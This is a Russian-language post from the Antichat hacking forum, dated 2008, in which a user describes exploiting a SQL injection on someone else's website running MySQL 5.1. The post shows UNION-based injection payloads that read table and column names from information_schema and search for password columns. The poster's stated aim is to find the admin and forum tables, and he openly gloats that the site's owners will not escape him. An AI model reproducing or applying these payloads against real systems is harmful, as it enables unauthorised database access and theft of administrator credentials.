Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
[mysql 5.1.19-beta-log] таблицы не прописаны в information_schema.tables |
04.01.2008, 06:51
|
|
Постоянный
Регистрация: 14.05.2006
Сообщений: 334
Провел на форуме:
1543521
Репутация:
272
|
|
[mysql 5.1.19-beta-log] таблицы не прописаны в information_schema.tables
нашел уязвимость. пятая ветка мускула. Прогнал по именам таблиц от начала до конца и нашлось только четыре таблицы (не относящихся к служебным БД):
gb
gbdata
unprintable
users
Но на этом же сайте, как минимум, крутится форум, скрипт новостей, магазин... я уже подумал, что каждая часть сайта находится в разных базах. но потом сделал запрос вида:
....+union+select+1,...,10+from+news/*
и запрос выполнился удачно! а таблицы news в information_schema.tables не было!
проверил вот так:
union+select+1,...,column_name+from+information_sc hema.columns+where+table_name=char(110,101,119,115 )/*
(char(...) - это news) И фак! выводятся имена колонок таблицы news, которой, блин, нету!
Вот меня это немного смущает 
на сайте есть админка, и я так понимаю должа быть таблица с админами. да и форум есть... хочу знать имена таблиц! как быть?
ADDED
проблему о выводе нужных мне таблиц я решил таким образом:
union+select+1,...,table_name+from+information_sch ema.columns+where+column_name+like+char(37,112,97, 115,115,37)/*
(где char(...) - char(%pass%) ыыыыы  цуки! от меня не уйти
Но весь замут мне так и остался не ясен че занах?
Последний раз редактировалось je0n; 04.01.2008 в 07:09..
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Древовидный вид